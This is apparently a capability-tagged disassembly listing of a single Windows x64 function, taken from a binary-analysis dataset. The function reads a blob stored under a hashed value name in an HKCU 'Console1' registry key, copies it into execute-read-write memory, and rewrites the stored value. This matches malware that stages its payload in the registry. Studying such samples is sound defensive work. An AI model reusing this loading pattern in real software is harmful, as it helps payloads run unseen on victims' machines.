Function at 0x1400016ea
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
jmp 0x14001e1a0
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xb60
mov rdi, rsp
mov ecx, 0x2d8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xb70]
mov rax, qword [0x1400c53c0]
xor rax, rsp
mov qword [rsp + 0xb58], rax
mov rax, qword [rsp + 0xb78]
movzx eax, byte [rax]
cmp eax, 0xc9
jne 0x14001e1f7
jmp 0x14001e767
cmp dword [rsp + 0xb80], 0x65
jne 0x14001e5b6
mov dword [rsp + 0x54], 3
mov dword [rsp + 0x74], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [0x1400a6ca0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14001e361
lea rax, [rsp + 0x74]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x54]
xor r8d, r8d
mov rdx, qword [str.d33f351a4aeea5e608853d1a56661059]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [rsp + 0x74]
cmp rax, 0xa44
jbe 0x14001e356
mov eax, dword [rsp + 0x74]
mov ecx, eax
call fcn.140026db0
mov qword [rsp + 0xb30], rax
mov rax, qword [rsp + 0xb30]
mov qword [rsp + 0x88], rax
mov eax, dword [rsp + 0x74]
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x88]
call fcn.140029760
lea rax, [rsp + 0x74]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x54]
xor r8d, r8d
mov rdx, qword [str.d33f351a4aeea5e608853d1a56661059]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14001e356
mov r8d, 0xa44
mov rdx, qword [rsp + 0x88]
lea rcx, [0x1400c78b0]
call fcn.140027230
movsxd rax, dword [0x1400c7ab8]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x1400c82f8], rax
movsxd rax, dword [0x1400c7ab8]
mov rcx, qword [rsp + 0x88]
add rcx, 0xa44
mov r8, rax
mov rdx, rcx
mov rcx, qword [0x1400c82f8]
call fcn.140027230
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0xb78]
inc rax
lea rdx, [0x1400c7abc]
mov rcx, rax
call fcn.14002e3b0
test eax, eax
je 0x14001e5a4
cmp qword [0x1400c82f8], 0
je 0x14001e3ad
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [0x1400c82f8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [0x1400c82f8], 0
mov dword [rsp + 0xa0], 0
mov eax, 0x767b
mov word [rsp + 0xa4], ax
mov eax, 0x5f55
mov word [rsp + 0xa6], ax
mov eax, 0x6a21
mov word [rsp + 0xa8], ax
mov eax, 0x5757
mov word [rsp + 0xaa], ax
mov eax, 0x2e
mov word [rsp + 0xac], ax
mov eax, 0x64
mov word [rsp + 0xae], ax
mov eax, WSASetLastError
mov word [rsp + 0xb0], ax
mov eax, WSASetLastError
mov word [rsp + 0xb2], ax
mov eax, 0x5f
mov word [rsp + 0xb4], ax
mov eax, 0x62
mov word [rsp + 0xb6], ax
mov eax, 0x69
mov word [rsp + 0xb8], ax
mov eax, WSASetLastError
mov word [rsp + 0xba], ax
xor eax, eax
mov word [rsp + 0xbc], ax
lea rax, [rsp + 0xbe]
mov rdi, rax
xor eax, eax
mov ecx, 0x1e4
rep stosb byte [rdi], al
lea rax, [rsp + 0x2a2]
mov rdi, rax
xor eax, eax
mov ecx, 2
rep stosb byte [rdi], al
mov dword [rsp + 0x2a4], 1
mov dword [rsp + 0x2a8], 0
lea rax, [rsp + 0x2ac]
mov rdi, rax
xor eax, eax
mov ecx, 0x64
rep stosb byte [rdi], al
lea rax, [rsp + 0x310]
mov rdi, rax
xor eax, eax
mov ecx, 0x7d0
rep stosb byte [rdi], al
lea rax, [rsp + 0xae0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov qword [rsp + 0xaf8], 0
mov dword [rsp + 0xb00], 0
mov dword [rsp + 0xb00], 0xa45
mov eax, dword [rsp + 0xb00]
mov ecx, eax
call fcn.140026db0
mov qword [rsp + 0xb38], rax
mov rax, qword [rsp + 0xb38]
mov qword [rsp + 0xaf8], rax
mov rax, qword [rsp + 0xaf8]
mov byte [rax], 5
mov eax, dword [rsp + 0xb00]
dec eax
mov eax, eax
mov rcx, qword [rsp + 0xaf8]
inc rcx
mov r8d, eax
lea rdx, [rsp + 0xa0]
call fcn.140027230
mov r8d, dword [rsp + 0xb00]
mov rdx, qword [rsp + 0xaf8]
mov rcx, qword [rsp + 0xb70]
call fcn.1400015c8
cmp qword [rsp + 0xaf8], 0
je 0x14001e5a2
mov rax, qword [rsp + 0xaf8]
mov qword [rsp + 0xb40], rax
mov rcx, qword [rsp + 0xb40]
call fcn.140026ed0
mov qword [rsp + 0xaf8], 0
jmp 0x14001e5b1
mov rcx, qword [rsp + 0xb70]
call fcn.14000150f
jmp 0x14001e767
mov rax, qword [rsp + 0xb78]
inc rax
mov r8d, 0xa44
mov rdx, rax
lea rcx, [0x1400c78b0]
call fcn.140027230
movsxd rax, dword [0x1400c7ab8]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x1400c82f8], rax
movsxd rax, dword [0x1400c7ab8]
mov rcx, qword [rsp + 0xb78]
add rcx, 0xa45
mov r8, rax
mov rdx, rcx
mov rcx, qword [0x1400c82f8]
call fcn.140027230
movsxd rax, dword [0x1400c7ab8]
add rax, 0xa44
mov dword [rsp + 0xb04], eax
movsxd rax, dword [rsp + 0xb04]
mov rcx, rax
call fcn.140026db0
mov qword [rsp + 0xb48], rax
mov rax, qword [rsp + 0xb48]
mov qword [rsp + 0xb08], rax
cmp qword [rsp + 0xb08], 0
je 0x14001e726
mov r8d, 0xa44
lea rdx, [0x1400c78b0]
mov rcx, qword [rsp + 0xb08]
call fcn.140027230
movsxd rax, dword [0x1400c7ab8]
mov rcx, qword [rsp + 0xb08]
add rcx, 0xa44
mov r8, rax
mov rdx, qword [0x1400c82f8]
call fcn.140027230
lea r8, [rsp + 0xb18]
lea rdx, str.Console1
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x14001e718
mov rdx, qword [str.d33f351a4aeea5e608853d1a56661059]
mov rcx, qword [rsp + 0xb18]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [rsp + 0xb04]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0xb08]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rdx, qword [str.d33f351a4aeea5e608853d1a56661059]
mov rcx, qword [rsp + 0xb18]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xb18]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rsp + 0xb08], 0
je 0x14001e75a
mov rax, qword [rsp + 0xb08]
mov qword [rsp + 0xb50], rax
mov rcx, qword [rsp + 0xb50]
call fcn.14002ce90
mov qword [rsp + 0xb08], 0
mov rcx, qword [rsp + 0xb70]
call fcn.14000150f
mov rcx, rsp
lea rdx, [0x1400a6f10]
call fcn.1400290a0
mov rcx, qword [rsp + 0xb58]
xor rcx, rsp
call fcn.14002a4b0
add rsp, 0xb60
pop rdi
ret